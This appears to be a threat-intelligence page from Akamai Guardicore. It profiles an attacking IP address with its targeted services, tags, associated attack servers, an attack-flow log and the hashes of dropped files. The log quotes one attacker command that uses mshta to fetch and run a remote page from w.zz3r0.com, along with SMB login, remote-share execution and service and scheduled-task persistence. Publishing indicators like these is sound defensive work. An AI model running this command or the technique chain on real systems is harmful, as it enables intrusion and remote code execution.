Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 203.162.3.72Malicious

IP Address: 203.162.3.72Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Service Creation Download and Execute MSSQL CMD SMB Share Connect Download File Successful SMB Login File Operation By CMD Scheduled Task Creation Scheduled Task Run Access Suspicious Domain Execute from Share DNS Query Service Start SMB Access Share Service Stop Service Deletion

Associated Attack Servers

w.zz3r0.com

103.87.48.93

Basic Information

IP Address

203.162.3.72

Domain

-

ISP

-

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-04-24

Last seen in Akamai Guardicore Segmentation

2023-05-02

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts

Successful SMB Login

C:\IlUlukxn.exe was downloaded

Download File

ilulukxn.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ilulukxn.exe as a service named oZWH under service group None

Service Start Service Creation

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User 4 times

Successful SMB Login

C:\wmbZKKLO.exe was downloaded

Download File

wmbzkklo.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\wmbzkklo.exe as a service named ewdQ under service group None

Service Start Service Creation

C:\windows\temp\tmp.vbs was downloaded

Download File

Service ewdQ was stopped

Service Stop

A user logged in using SMB from NULL with the following username: admin - Authentication policy: Previously Approved User 4 times

Successful SMB Login

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com 2 times

DNS Query Access Suspicious Domain

C:\FgiPgJxj.exe was downloaded

Download File

The command line c:\windows\yvmnXw.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

fgipgjxj.exe was executed from the remote share \\server-backup\c$

Execute from Share

The file C:\WINDOWS\yvmnXw.exe was downloaded and executed 2 times

Download and Execute

c:\windows\system32\services.exe installed and started \\server-backup\c$\fgipgjxj.exe as a service named TGtN under service group None

Service Start Service Creation

Service TGtN was stopped

Service Stop

Connection was closed due to timeout

Associated Files

C:\WINDOWS\yvmnXw.exe

SHA256: 03f21a28456ee724cc323c49723b4a6ba49cb3dc4616a9a44668deffcaf67655

715000 bytes

C:\windows\temp\svchost.exe

SHA256: 157c870f39956ef29d22da86ec22063877fee31fd4bb8b82758f28ab90610e6f

6760000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 25e87486afa1ecb6833bfc00bf95e83bf223602148d02ecb0b70eabeb39c2715

7410000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 282b473a496009e5615fc3a71ff181acddc6473b961ecedcde24e13bec696855

5135000 bytes

C:\aChIckvc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes